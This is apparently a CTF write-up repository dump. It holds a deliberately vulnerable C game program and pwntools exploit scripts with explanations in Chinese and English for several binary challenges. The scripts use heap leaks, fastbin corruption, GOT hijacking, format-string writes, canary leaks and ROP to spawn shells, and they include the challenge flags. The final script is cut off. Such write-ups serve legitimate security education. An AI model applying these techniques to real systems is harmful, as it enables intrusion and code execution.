5 | #define N 7
6 |
7 | // 放棄ㄅ,這支程式沒有漏洞的>.0
8 | // 現在放棄寒假就開始了
9 |
10 | void menu(){
11 | puts("=====================================");
12 | puts("Welcome to suuuuuuuper secure RPG - Dragon Slayer!!");
13 | puts("You can save the world!!!!!");
14 | // 其實不能
15 | puts("Please choose what you want to do:");
16 | puts("1. List characters");
17 | puts("2. Select character");
18 | puts("3. Start game");
19 | puts("87. Exit game");
20 | puts("=====================================");
21 | }
22 |
23 | void game_menu(){
24 | puts("=====================================");
25 | puts("GL&HF!!");
26 | puts("Please choose what you want to do:");
27 | puts("1. Fight the mighty dragon");
28 | puts("2. Fight slime");
29 | puts("3. Craft weapon");
30 | puts("4. Sleep");
31 | puts("5. Change name");
32 | puts("87. Back to menu");
33 | puts("=====================================");
34 | }
35 |
36 | int read_n(char *buf, int n){
37 | int ret = read(0, buf, n);
38 | if (ret <= 0){
39 | puts("read error!");
40 | exit(-1);
41 | }
42 | buf[ret-1] = '\0';
43 | return ret;
44 | }
45 |
46 | long long read_int(){
47 | char buf[32];
48 | read_n(buf, 31);
49 | return atoll(buf);
50 | }
51 |
52 | // 名字我想超久der
53 | char *names[N] = {
54 | "Readdy",
55 | "OrzanggeOrzangge",
56 | "Yaloooooooow",
57 | "Griin",
58 | "Bulueeeeee",
59 | "Violeta",
60 | "Purpling",
61 | };
62 |
63 | typedef struct Weapon{
64 | long long durability;
65 | char description[128];
66 | struct Weapon *next;
67 | } Weapon;
68 |
69 | typedef struct Character{
70 | char name[32];
71 | Weapon *weapons;
72 | int energy;
73 | int level;
74 | } Character;
75 |
76 | Character *characters;
77 | int changed_name_cnt, dragon_dead;
78 |
79 | Weapon* new_weapon(char *name, Weapon *next){
80 | Weapon *tmp = malloc(sizeof(Weapon));
81 | sprintf(tmp->description, "%s's weapon", name);
82 | tmp->durability = 3;
83 | tmp->next = next;
84 | return tmp;
85 | }
86 |
87 | void init(){
88 | characters = malloc(sizeof(Character)*N);
89 | for (int i = 0; i < N; ++i){
90 | strcpy(characters[i].name, names[i]);
91 | characters[i].level = 1;
92 | characters[i].energy = 10;
93 | characters[i].weapons = new_weapon(names[i], 0);
94 | }
95 | }
96 |
97 | void list_character(){
98 | for (int i = 0; i < N; ++i){
99 | puts("-------------------------------------");
100 | printf("Character %d\n", i);
101 | printf("Name: %s\n", characters[i].name);
102 | printf("Level: %d\n", characters[i].level);
103 | printf("Energy: %d\n", characters[i].energy);
104 | if (characters[i].weapons)
105 | printf("Weapon durability: %lld\n", characters[i].weapons->durability);
106 | }
107 | puts("-------------------------------------");
108 | }
109 |
110 | int out_of_bound(Character *p){
111 | // if (characters <= p && p <= characters+N) return 0;
112 | // 差點寫錯ㄏㄏ
113 | if (characters <= p && p < characters+N) return 0;
114 | return 1;
115 | }
116 |
117 | void fight_dragon(Character *selected){
118 | if (dragon_dead){
119 | puts("The Dragon is already dead.");
120 | return;
121 | }
122 | if (selected != &characters[0]){
123 | // Yo~ 諧音梗
124 | puts("You can fight the dragon only when you are Readdy!!");
125 | return;
126 | }
127 | if (selected->energy < 10){
128 | puts("Not enough energy!!");
129 | return;
130 | }
131 | selected->energy -= 10;
132 | // 反正你練到這ㄍ等級前就timeout了ㄏㄏ
133 | if (selected->level < 7122222){
134 | puts("You are killed by the mighty dragon!!");
135 | puts("So sad...");
136 | exit(-1);
137 | }
138 | dragon_dead = 1;
139 | puts("You killed the mighty dragon!!!!!!!");
140 | puts("You got the power to change the world!");
141 | // people can't have the power to change the world
142 | long long addr, val;
143 | printf("Where to change: ");
144 | addr = read_int();
145 | printf("What to change: ");
146 | val = read_int();
147 | *(long long *)addr = val;
148 | puts("Thanks for saving the world!!");
149 | }
150 |
151 | void fight_slime(Character *selected){
152 | // 慢慢殺史萊姆升級ㄅ
153 | if (selected->energy < 1){
154 | puts("Not enough energy!!");
155 | return;
156 | }
157 | if (selected->weapons == NULL){
158 | puts("Don't have weapons!!");
159 | return;
160 | }
161 | if (selected->weapons->durability == 1){
162 | Weapon *tmp = selected->weapons;
163 | selected->weapons = tmp->next;
164 | free(tmp);
165 | } else {
166 | --selected->weapons->durability;
167 | }
168 | --selected->energy;
169 | ++selected->level;
170 | }
171 |
172 | void craft_weapon(Character *selected){
173 | if (selected->energy < 1){
174 | puts("Not enough energy!!");
175 | return;
176 | }
177 | selected->weapons = new_weapon("ballon", selected->weapons);
178 | --selected->energy;
179 | }
180 |
181 | void char_sleep(Character *selected){
182 | // 要睡飽飽才有力氣ㄛ
183 | sleep(3);
184 | selected->energy += 10;
185 | }
186 |
187 | void change_name(Character *selected){
188 | char buf[17];
189 | // 一般遊戲都只給改一次名
190 | // 這給改兩次
191 | // 佛心公司
192 | if (changed_name_cnt < 2){
193 | printf("New name: ");
194 | read_n(buf, 17);
195 | strcpy(selected->name, buf);
196 | ++changed_name_cnt;
197 | puts("Name changed!");
198 | list_character();
199 | } else {
200 | puts("Change name limit reached!!");
201 | }
202 | }
203 |
204 | void start_game(Character *selected){
205 | long long choice;
206 | while (1){
207 | game_menu();
208 | printf("Your choice: ");
209 | choice = read_int();
210 | switch (choice){
211 | case 1:
212 | fight_dragon(selected);
213 | break;
214 | case 2:
215 | fight_slime(selected);
216 | break;
217 | case 3:
218 | craft_weapon(selected);
219 | break;
220 | case 4:
221 | char_sleep(selected);
222 | break;
223 | case 5:
224 | change_name(selected);
225 | break;
226 | case 87:
227 | return;
228 | }
229 | }
230 | }
231 |
232 | int main(int argc, char *argv[]){
233 | long long choice, selected = -1;
234 | Character *sel;
235 | alarm(60);
236 | setvbuf(stdin, NULL, _IONBF, 0);
237 | setvbuf(stdout, NULL, _IONBF, 0);
238 | init();
239 | while (1){
240 | // 不用看了
241 | // 沒有漏洞的
242 | // 現在放棄寒假就開始了
243 | menu();
244 | printf("Your choice: ");
245 | choice = read_int();
246 | switch (choice){
247 | case 1:
248 | list_character();
249 | break;
250 | case 2:
251 | printf("Select a character: ");
252 | selected = read_int();
253 | if (out_of_bound(&characters[selected])){
254 | puts("You can not select this!!");
255 | selected = -1;
256 | sel = NULL;
257 | exit(-1);
258 | } else {
259 | printf("%lld selected\n", selected);
260 | sel = &characters[selected];
261 | }
262 | break;
263 | case 3:
264 | if (selected == -1){
265 | puts("You must select a character first!!");
266 | } else {
267 | start_game(sel);
268 | }
269 | break;
270 | case 87:
271 | exit(0);
272 | break;
273 | default:
274 | puts("Invalid choice!");
275 | }
276 | }
277 | }
278 |
--------------------------------------------------------------------------------
/AIS3-EOF-qual/dragon-slayer/exploit.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | from pwn import *
3 |
4 | #r = remote('127.0.0.1', 4000)
5 | r = remote('35.201.132.60', 13337)
6 | libc = ELF('libc.so.6-14c22be9aa11316f89909e4237314e009da38883')
7 |
8 | def list():
9 | r.sendlineafter('Your choice: ', '1')
10 |
11 | def select(idx):
12 | r.sendlineafter('Your choice: ', '2')
13 | r.sendlineafter('Select a character: ', str(idx))
14 |
15 | def start():
16 | r.sendlineafter('Your choice: ', '3')
17 |
18 | def fight_dragon():
19 | r.sendlineafter('Your choice: ', '1')
20 |
21 | def fight_slime():
22 | r.sendlineafter('Your choice: ', '2')
23 |
24 | def craft_weapon():
25 | r.sendlineafter('Your choice: ', '3')
26 |
27 | def nap():
28 | r.sendlineafter('Your choice: ', '4')
29 |
30 | def change_name(name):
31 | r.sendlineafter('Your choice: ', '5')
32 | r.sendafter('New name: ', name)
33 |
34 | def back_menu():
35 | r.sendlineafter('Your choice: ', '87')
36 |
37 | def leave_game():
38 | r.sendlineafter('Your choice: ', '87')
39 |
40 | # select a straddle character
41 | select(0x555555555555556)
42 | start()
43 | nap()
44 | craft_weapon()
45 |
46 | # leak heap base
47 | back_menu()
48 | list()
49 | r.recvuntil('Name: OrzanggeOrzangge')
50 | heap_base = u64(r.recvline()[:-1].ljust(8, '\x00')) - 0x5d0
51 | log.success('heap base: ' + hex(heap_base))
52 |
53 | # select arbitrary character and exhausted its current weapon, which will be freed
54 | select(5)
55 | start()
56 | fight_slime()
57 | fight_slime()
58 | fight_slime()
59 | # chunk has libc address at heap_base + 0x480
60 | back_menu()
61 | select(0x555555555555556)
62 | start()
63 | change_name(p64(heap_base+0x480+0x10)[:7]+'\x00')
64 | r.recvuntil('Weapon durability: ')
65 | libc_base = int(r.recvline()[:-1]) - 0x3c4b78
66 | log.success('libc base: ' + hex(libc_base))
67 | malloc_hook = libc_base + libc.symbols['__malloc_hook']
68 | one_gadget = libc_base + 0xf0274 # constraint: [rsp+0x50] == NULL
69 |
70 | # overwrite Readdy's level and energy to 0x7fffffff, and defeat dragon,
71 | change_name(p64(0xffffffffff600804)+p64(0x7fffffff7fffffff)+'\x00')
72 | back_menu()
73 | select(0)
74 | start()
75 | fight_dragon()
76 |
77 | # overwrite malloc_hook to one gadget
78 | r.sendlineafter('Where to change: ', str(malloc_hook))
79 | r.sendlineafter('What to change: ', str(one_gadget))
80 | craft_weapon()
81 |
82 | r.interactive()
83 |
84 | # FLAG{1t_4ctually_IS_wi7hin_b0und...}
85 |
--------------------------------------------------------------------------------
/AIS3-EOF-qual/dragon-slayer/libc.so.6-14c22be9aa11316f89909e4237314e009da38883:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/briansp8210/CTF-writeup/6e5da2d2b1ef852ead02b5f287d42697d5be0d73/AIS3-EOF-qual/dragon-slayer/libc.so.6-14c22be9aa11316f89909e4237314e009da38883
--------------------------------------------------------------------------------
/AIS3-EOF-qual/magicheap2/README.md:
--------------------------------------------------------------------------------
1 | # magicheap2
2 |
3 | ```
4 | Arch: amd64-64-little
5 | RELRO: Partial RELRO
6 | Stack: Canary found
7 | NX: NX enabled
8 | PIE: No PIE (0x400000)
9 | ```
10 |
11 | ## Analysis
12 |
13 | 程式一開始會要我們輸入名字,並且動態分配一塊空間用來紀錄等一下創建的空間 (以下稱這個指標為 `pool_ptr`)。接下來就進入選單模式,功能大致如下:
14 |
15 | ```
16 | --------------------------------
17 | Magic Heap Creator
18 | --------------------------------
19 | 1. Create a Heap
20 | 2. Edit a Heap
21 | 3. Delete a Heap
22 | 4. Exit
23 | --------------------------------
24 | Your choice :
25 | ```
26 |
27 | * `Create`:分配一塊使用者指定大小的空間,並接受該大小的輸入至該空間
28 | * `Edit`:接受使用者輸入新的內容至先前分配的空間,輸入長度是新指定的,並且沒有對應的檢查,因此這裡可以進行直接的 heap overflow
29 | * `Delete`:釋放掉一塊先前分配的空間
30 |
31 | 所以重點會在如何利用這個 heap overflow 來做事,我是利用了 fastbin corruption。
32 |
33 | ## Exploit
34 |
35 | 首先,在輸入名字的時候我構造了一些內容進去 (下圖**粗體**部分),而在 `name_buf` 後面的就是前面提到的 `pool_ptr`:
36 |
37 |
38 | free@got.plt malloc@got.plt
39 | ↓ ↓
40 | 0x6020a0: 0x0000000000602018 0x0000000000602050
41 | 0x6020b0: -→ 0x0000000000000021 0x0000000001c83010
42 | 0x6020c0: | 0x0000000000000000 0x0000000000000000
43 | |
44 | fake chunk size
45 |
46 |
47 | 接著我利用 fastbin corruption,取得位於 `name_buf+8` 的 fake chunk,並在輸入內容的時候將 `name_ptr` 的值蓋成 `name`。如此一來我就能夠利用 `Edit` 功能來修改我一開始擺在 `name` 的指標指向的內容,從而做到 GOT hijacking。
48 | 這裡我是先用 `Edit(0)` 來把 `free@got.plt` 蓋成 `puts@plt`,這樣我就可以用 `Delete(1)` 來 leak 出 `malloc` 的位址,並取得 libc base。最後我再次使用 `Edit(0)` 將 `free@got.plt` 蓋成 one gadget,然後使用 `Delete` 功能觸發 `free` 來開 shell。
49 |
50 | flag: `FLAG{h34p_0verfl0w_is_e4ay_for_u}`
51 |
--------------------------------------------------------------------------------
/AIS3-EOF-qual/magicheap2/exploit.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | from pwn import *
3 |
4 | #r = remote('127.0.0.1', 4000)
5 | r = remote('35.201.132.60', 50216)
6 | libc = ELF('libc.so.6-14c22be9aa11316f89909e4237314e009da38883')
7 |
8 | def create(size, content):
9 | r.sendlineafter('Your choice :', '1')
10 | r.sendlineafter('Size of Heap : ', str(size))
11 | r.sendafter('Content of heap:', content)
12 |
13 | def edit(idx, size, content):
14 | r.sendlineafter('Your choice :', '2')
15 | r.sendlineafter('Index :', str(idx))
16 | r.sendlineafter('Size of Heap : ', str(size))
17 | r.sendlineafter('Content of heap : ', content)
18 |
19 | def delete(idx):
20 | r.sendlineafter('Your choice :', '3')
21 | r.sendlineafter('Index :', str(idx))
22 |
23 | name_buf = 0x6020a0
24 | free_got = 0x602018
25 | puts_plt = 0x4006b0
26 | malloc_got = 0x602050
27 |
28 | r.sendafter('Name:', p64(free_got)+p64(malloc_got)+p64(0x21))
29 |
30 | # overwrite fd of fastchunk to fake chunk on name_buf
31 | create(0x30-8, 'A'*8) # 0
32 | create(0x20-8, 'B'*8) # 1
33 | delete(1)
34 | edit(0, 0x100, 'A'*0x20 + p64(0) + p64(0x21) + p64(name_buf+8))
35 |
36 | # get fake chunk, GOT hijack free() -> puts()
37 | create(0x20-8, 'C'*8) # 1
38 | create(0x20-8, p64(name_buf)) # 2
39 | edit(0, 0x100, p64(puts_plt))
40 |
41 | # free(pointer_pool[1]) -> puts(malloc_got)
42 | # leak libc address
43 | delete(1)
44 | libc_base = u64(r.recvline()[:-1].ljust(8, '\x00')) - libc.symbols['malloc']
45 | log.success('libc base: ' + hex(libc_base))
46 | one_gadget = libc_base + 0xf0274 # constraint: [rsp+0x50] == NULL
47 |
48 | # GOT hijack free() -> one gadget
49 | edit(0, 0x100, p64(one_gadget))
50 | delete(0)
51 |
52 | r.interactive()
53 |
54 | # FLAG{h34p_0verfl0w_is_e4ay_for_u}
55 |
--------------------------------------------------------------------------------
/AIS3-EOF-qual/magicheap2/libc.so.6-14c22be9aa11316f89909e4237314e009da38883:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/briansp8210/CTF-writeup/6e5da2d2b1ef852ead02b5f287d42697d5be0d73/AIS3-EOF-qual/magicheap2/libc.so.6-14c22be9aa11316f89909e4237314e009da38883
--------------------------------------------------------------------------------
/AIS3-EOF-qual/magicheap2/magicheap:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/briansp8210/CTF-writeup/6e5da2d2b1ef852ead02b5f287d42697d5be0d73/AIS3-EOF-qual/magicheap2/magicheap
--------------------------------------------------------------------------------
/AIS3-EOF-qual/writeme/README.md:
--------------------------------------------------------------------------------
1 | # writeme
2 |
3 | ```
4 | Arch: amd64-64-little
5 | RELRO: No RELRO
6 | Stack: Canary found
7 | NX: NX enabled
8 | PIE: No PIE (0x400000)
9 | ```
10 |
11 | 程式會印出我們指定位址的值,並讓我們輸入 8bytes 的內容來把它蓋掉。
12 | 這裡我是指定 `printf` 的 GOT,在得到 libc base 之後就用 one gadget 蓋掉它來開 shell。
13 |
14 | flag: `FLAG{y33SuTd5GsmOPwonYWqePbS3y3R9Tz33}`
15 |
--------------------------------------------------------------------------------
/AIS3-EOF-qual/writeme/exploit.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | from pwn import *
3 |
4 | #r = remote('127.0.0.1', 4000)
5 | r = remote('35.194.194.168', 6666)
6 | libc = ELF('libc.so')
7 |
8 | printf_got= 0x600bb8
9 |
10 | r.sendlineafter('Where u want to write :', str(printf_got))
11 |
12 | r.recvuntil('Value of {}='.format(hex(printf_got)))
13 | libc_base = int(r.recvline()[:-1], 16) - libc.symbols['printf']
14 | log.success('libc base: ' + hex(libc_base))
15 | one_gadget = libc_base + 0x45216 # constraint: rax == NULL
16 |
17 | r.sendlineafter('What value u want to write :', str(one_gadget))
18 |
19 | r.interactive()
20 |
21 | # FLAG{y33SuTd5GsmOPwonYWqePbS3y3R9Tz33}
22 |
--------------------------------------------------------------------------------
/AIS3-EOF-qual/writeme/libc.so:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/briansp8210/CTF-writeup/6e5da2d2b1ef852ead02b5f287d42697d5be0d73/AIS3-EOF-qual/writeme/libc.so
--------------------------------------------------------------------------------
/AIS3-EOF-qual/writeme/writeme:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/briansp8210/CTF-writeup/6e5da2d2b1ef852ead02b5f287d42697d5be0d73/AIS3-EOF-qual/writeme/writeme
--------------------------------------------------------------------------------
/AIS3_2016_finalCTF/README.md:
--------------------------------------------------------------------------------
1 | # AIS3_2016_finalCTF
2 |
--------------------------------------------------------------------------------
/AIS3_2016_finalCTF/Remote1/README.md:
--------------------------------------------------------------------------------
1 | Remote1
2 | ==========
3 | 這算是我第一次參加CTF比賽第一道解出來,也是唯一在時間內解出來的題目XD。
4 |
5 | 解題流程
6 | ----------
7 | 題目一執行就說是 echo service,除了 quit,輸入什麼就輸出什麼。但當我們輸入像這樣的東西:
8 |
9 | Welcome to the simple echo service
10 |
11 | [type 'quit' to quit] prompt> %lx
12 | 40095f
13 | 就知道存在 format string 的漏洞。另外若是輸入達一定的長度,quit 離開時會出現 **stack smashing detected** 的警告,代表同時存在 buffer overflow 的漏洞,但有開啟 stack canary 進行保護。
14 |
15 | 所以想法是:先 leak 出 stack canary 在 stack 上存的的值,再 overflow 到 return address,利用程式自帶的 ```system``` 函式和 ```"/bin/sh"``` 字串開 shell。
16 |
17 | 首先確認第幾個參數開始是我們可以控制的
18 |
19 | Welcome to the simple echo service
20 |
21 | [type 'quit' to quit] prompt> AAAAAAAA%lx %lx %lx %lx %lx %lx %lx %lx %lx %lx
22 | AAAAAAAA40095f 0 71 7f7ef559a700 1e 23 30f5395620 4141414141414141 20786c2520786c25 20786c2520786c25
23 |
24 | 可以得知第 8 個參數開始是我們可控的內容。接下來確認一下 stack canary 存的變數的位址
25 |
26 | 4007aa: 64 48 8b 04 25 28 00 mov rax,QWORD PTR fs:0x28
27 | 4007b1: 00 00
28 | 4007b3: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax
29 |
30 | 發現是放在 rbp-0x8 的地方。再來可以透過 gdb 觀察 buffer 和這個位址的偏移
31 |
32 | (gdb) p $rbp
33 | $1 = (void *) 0x7fffffffe350
34 | (gdb) x/8gx $rsp
35 | 0x7fffffffe320: 0x0000000000000023 0x00007ffff7dd4620
36 | 0x7fffffffe330: 0x4141414141414141 0x00007ffff7a9f90a
37 | 0x7fffffffe340: 0x0000000000000000 0xfc9c8b7ab91cc800
38 | 0x7fffffffe350: 0x00007fffffffe360 0x000000000040088a
39 |
40 | 因此我們可以從第 8+3=11 個參數得到該變數。
41 |
42 | 接著要進行 overflow 時,將剛剛 leak 出的值蓋在原來的位置上,如此一來便能夠通過 **__stack_chk_fail** 的檢查,成功蓋到 retuen address 而不會被擋下來。
43 | 利用 ROPgadget,可以找到 ```pop rdi ; ret``` 這個 gadget。透過他,我們就可以構造 **system("/bin/sh")** 這個 function call 來取得 shell。
44 |
45 | ```python
46 | payload = 'A'*24 + p64(canary) + 'B'*8 + p64(pop_rdi_ret) + p64(binsh) + p64(system)
47 | ```
48 |
--------------------------------------------------------------------------------
/AIS3_2016_finalCTF/Remote1/exploit.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | from pwn import *
3 | import re
4 |
5 | s = remote('127.0.0.1',4000) # for local testing
6 | #s = remote('final.ais3.org',32164)
7 |
8 | system = 0x0000000000400630
9 | pop_rdi_ret = 0x0000000000400903
10 | binsh = 0x400928
11 |
12 | print s.recv()
13 |
14 | payload = '<%11$lx>'
15 | s.sendline(payload)
16 |
17 | rst = s.recv()
18 |
19 | canary = int(re.findall(r'<(.*)>',rst)[0],16)
20 |
21 | payload = 'A'*24 + p64(canary) + 'B'*8 + p64(pop_rdi_ret) + p64(binsh) + p64(system)
22 | s.sendline(payload)
23 |
24 | s.sendline('quit')
25 |
26 | s.interactive()
27 |
--------------------------------------------------------------------------------
/AIS3_2016_finalCTF/Remote2/README.md:
--------------------------------------------------------------------------------
1 | Remote2
2 | ==========
3 | 這題在比賽當天沒有想出來,後來看到別人的想法才摸出來的,不過實作上也花了一些時間。
4 | 主要用到 stack migration 和 ROP 來做。
5 |
6 | 解題流程
7 | ----------
8 | 程式一開始會執行 "lsh",之後逐字讀取 64bytes 到 buffer 上,然後就馬上 retuen。
9 | 先用 gdb 觀察一下 buffer 和 rbp 的距離,rbp此時為 0x7ffc98f88e1。
10 |
11 | (gdb) x/10gx $rsp
12 | 0x7fffffffdf50: 0x4141414141414141 0x0000000000000000
13 | 0x7fffffffdf60: 0x00000000004005c0 0x0000000000400470
14 | 0x7fffffffdf70: 0x00007fffffffe060 0x0000000800000000
15 | 0x7fffffffdf80: 0x00000000004005c0 0x00007ffff7a58730
16 | 0x7fffffffdf90: 0x0000000000000000 0x00007fffffffe068
17 |
18 | 可以發現 64bytes 只夠我們剛好塞到 retuen address,後面沒有空間放其他 gadget。所以我們將要做的事分成兩次送。
19 |
20 | 第一輪我們先利用 stack migration 把 rbp 引導到自己找的 buffer 上,並 retuen 回 main 裡面讀取字元的程式區塊,將 ROP chain 讀到新的 buffer 上。
21 | ```python
22 | 'A'*44 + '\x2c\x00\x00\x00' + p64(buf+0x80) + p64(main_read)
23 | ```
24 |
25 | 可以讀到新的 buffer 上是因為程式為由 rbp 為基準,推算出區域變數的位置。所以 rbp 一改,目標 buffer 的位址也跟著變了。
26 |
27 | 400582: 8b 45 fc mov eax,DWORD PTR [rbp-0x4]
28 | 400585: 48 8d 55 d0 lea rdx,[rbp-0x30]
29 | 400589: 48 01 d0 add rax,rdx
30 | 40058c: ba 01 00 00 00 mov edx,0x1
31 | 400591: 48 89 c6 mov rsi,rax
32 | 400594: bf 00 00 00 00 mov edi,0x0
33 | 400599: e8 a2 fe ff ff call 400440
34 |
35 | ----------
36 | 另外有個地方要特別注意,由於這題是一個字一個字讀輸入,我們在蓋 buffer 時會把位於 rbp-0x4,
37 | 用來計數的值寫掉。
38 |
39 | 0x7fffffffdf70: 0x00007fffffffe060 0x0000000800000000
40 |
41 | 這會導致程式沒辦法正確判斷你讀了幾 byte 以及該讀去哪個位置。所以蓋到這邊的時候,必須將該位址原本的值再寫上去。
42 |
43 | ----------
44 | 最後,利用 leave ret 的 gadget 將 rsp 指到 ROP chain 上,並跳進第一個 gadget 開始跑,就可以拿到 shell 了!
45 | ```python
46 | 'A'*7 + p64(pop_rdi_ret) + p64(sh) + p64(system) + 'A'*12 + '\x2c\x00\x00\x00' + p64(buf+0x80-0x30) + p64(leave_ret)
47 | ```
48 |
--------------------------------------------------------------------------------
/AIS3_2016_finalCTF/Remote2/exploit.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | from pwn import *
3 |
4 | s = remote('127.0.0.1',4000) #for local testing
5 |
6 | buf = 0x602000 - 0x100
7 | main_read = 0x400582
8 | pop_rdi_ret = 0x400623
9 | system = 0x400430
10 | sh = 0x400645
11 | leave_ret = 0x4005b2
12 |
13 | s.sendline('A'*44 + '\x2c\x00\x00\x00' + p64(buf+0x80) + p64(main_read))
14 |
15 | s.sendline('A'*7 + p64(pop_rdi_ret) + p64(sh) + p64(system) + 'A'*12 + '\x2c\x00\x00\x00' + p64(buf+0x80-0x30) + p64(leave_ret))
16 |
17 | s.interactive()
18 |
--------------------------------------------------------------------------------
/ASIS-2017-final/Greg-Lestrade/README.md:
--------------------------------------------------------------------------------
1 | # Greg Lestrade
2 |
3 | ```
4 | Arch: amd64-64-little
5 | RELRO: Partial RELRO
6 | Stack: Canary found
7 | NX: NX enabled
8 | PIE: No PIE (0x400000)
9 | ```
10 |
11 | ## Analysis
12 |
13 | First we are asked to input credential, which is hard coded as `7h15_15_v3ry_53cr37_1_7h1nk`. There is actually a stack overflow vulnerability here, however, stack canary prevents us from exploiting this.
14 | After logging in, there is a function as following form within an infinite loop. It requires us inputting a string containing only lower case letters. It will print the string in a vulnerable way if the input passed the check. Format string vulnerability can't be directly used since the necessary `%` will definitely be captured.
15 |
16 | ```c
17 | read(0, cmd, 1023uLL);
18 | len = strlen(cmd) + 1;
19 | for ( i = 0; i < len; ++i )
20 | {
21 | if ( cmd[i] <= 96 || cmd[i] > 122 )
22 | {
23 | puts("[*] for secure commands, only lower cases are expected. Sorry admin");
24 | result = 0LL;
25 | return result;
26 | }
27 | }
28 | printf(cmd);
29 | ```
30 |
31 | Hence, the challenge will be finding a way to escape the check.
32 |
33 | ## Exploit
34 |
35 | The variable used to store length of command is only 1-byte long, thus we can make the length of command to be `(multiple of 0x100) - 1`, the minus 1 is to cancel the effect of line 8 of above code. This way, the initial check `i < len` of the for loop will fail, and we can now utilize FMT vulnerability to do GOT hijacking.
36 | Here we have two ways to get the flag:
37 |
38 | * Directly hijack `puts` or other functions to the hidden function at `0x400876` to print flag.
39 | * Hijack `strlen` to `system` and send `"/bin/sh"` as command to open a shell !
40 |
41 | flag: `ASIS{_ASIS_N3W_pwn_1S_goblin_pwn4b13!}`
42 |
--------------------------------------------------------------------------------
/ASIS-2017-final/Greg-Lestrade/exploit.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | from pwn import *
3 |
4 | #r = remote('127.0.0.1', 4000)
5 | r = remote('146.185.132.36', 12431)
6 |
7 | system_plt = 0x400700
8 | strlen_got = 0x602028
9 |
10 | def send_cmd(cmd):
11 | r.sendlineafter('1) admin action\n', '1')
12 | r.sendafter('Give me your command : ', cmd)
13 |
14 | r.sendafter('Credential : ', '7h15_15_v3ry_53cr37_1_7h1nk')
15 |
16 | # only overwrite lower 6-bytes
17 | fmt = ''
18 | printed = 255 - 96
19 | for i in range(6):
20 | byte = (system_plt >> (8*i)) & 0xff
21 | padding = (byte - printed - 3 + 256) % 256
22 | if padding > 0:
23 | fmt += '%{}c'.format(str(padding).rjust(3, '0')) + '###'
24 | fmt += '%{}$hhn'.format(str(40+i).rjust(3, '0'))
25 | printed = (printed + padding + 3 ) % 256
26 |
27 | log.info('strlen(fmt): ' + str(len(fmt)))
28 |
29 | fmt += '\x00'
30 | for i in range(6):
31 | fmt += p64(strlen_got + i)
32 |
33 | send_cmd('A'*(255-96) + fmt)
34 |
35 | send_cmd('/bin/sh\x00')
36 |
37 | r.interactive()
38 |
--------------------------------------------------------------------------------
/ASIS-2017-final/Greg-Lestrade/greg_lestrade:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/briansp8210/CTF-writeup/6e5da2d2b1ef852ead02b5f287d42697d5be0d73/ASIS-2017-final/Greg-Lestrade/greg_lestrade
--------------------------------------------------------------------------------
/AceBear-Security-Contest/arm-exploit/README.md:
--------------------------------------------------------------------------------
1 | # arm-exploit
2 |
3 | ```
4 | Arch: arm-32-little
5 | RELRO: Partial RELRO
6 | Stack: Canary found
7 | NX: NX enabled
8 | PIE: No PIE (0x10000)
9 | ```
10 |
11 | I solve this challenge to practice how arm exploit work.
12 |
13 | ## Analysis
14 |
15 | This challenge is an echo server. Based on login identity, there are two types of echo function, `guestecho` and `rootecho`. There is a buffer overflow vulnerability in latter one.
16 | Another vulnerability in both functions is that when type echo command, it just print our input on stack, where is full of uninitialized data. We can leak canary and stack address from here.
17 |
18 | ## Exploit
19 |
20 | To utilize the buffer overflow, we must become root. This can not be done with the `login` function since the unknown random password. Therefore, we have to make `uid` be 0 and `user` be `"root"` manually.
21 |
22 | ```c
23 | memset(&s, 0, 0x30u);
24 | printf("New username: ");
25 | secure_read(&s, 0x20u);
26 | strcpy(user, &s);
27 | ```
28 |
29 |
30 | 0x2209c <user>: 0x41414141 0x41414141 0x41414141 0x41414141
31 | 0x220ac <user+16>: 0x41414141 0x41414141 0x41414141 0x41414141
32 | 0x220bc <user+32>: 0x00000000 0x00000001 0x00000000 0x00000000
33 | uid
34 |
35 |
36 | This can be done by using `change_username` twice. First change name to full 0x20 character, the `uid` variable will be overwrite to 0 by `strcpy` for null-terminate. Then just change name to `"root"`.
37 |
38 | Now we can craft the first ROP chain. I plan to leak libc address first *(I assume the libc is available)*, then read second ROP chain to where the first one ended, whose job is to open a shell.
39 | For arm calling convention, first three arguments to function call are passed by registers `r0`, `r1` and `r2`. Based on this, I found following gadgets useful:
40 |
41 | * `pop {r3, pc}`
42 | * `pop {r4, r5, r6, r7, r8, sb, sl, pc}`
43 | * `mov r2, sb ; mov r1, r8 ; mov r0, r7 ; blx r3 ; `
44 | `cmp r4, r6 ; bne #0x11080 ; pop {r4, r5, r6, r7, r8, sb, sl, pc}`
45 |
46 | We can use them in order `1 -> 2 -> 3 -> 1 -> 3 -> 1 -> 3 -> ...` to set up and call anticipated functions perfectly in succession, and finally open shell.
47 |
--------------------------------------------------------------------------------
/AceBear-Security-Contest/arm-exploit/arm-exploit:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/briansp8210/CTF-writeup/6e5da2d2b1ef852ead02b5f287d42697d5be0d73/AceBear-Security-Contest/arm-exploit/arm-exploit
--------------------------------------------------------------------------------
/AceBear-Security-Contest/arm-exploit/exploit.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | from pwn import *
3 | context.arch = 'arm'
4 |
5 | r = remote('127.0.0.1', 4000)
6 | libc = ELF('libc-2.19.so')
7 |
8 | def info():
9 | r.sendlineafter('Your choice: ', '1')
10 |
11 | def login(name, passwd):
12 | r.sendlineafter('Your choice: ', '2')
13 | r.sendafter('Username: ', name)
14 | r.sendafter('password: ', passwd)
15 |
16 | def echo():
17 | r.sendlineafter('Your choice: ', '3')
18 |
19 | def change_username(new_name):
20 | r.sendlineafter('Your choice: ', '4')
21 | r.sendafter('New username: ', new_name)
22 |
23 | puts_plt = 0x10660
24 | read_plt = 0x10618
25 | strcmp_got = 0x22010
26 | pop_r3_pc = 0x105dc
27 | pop_r4_r5_r6_r7_r8_r9_r10_pc = 0x1107c
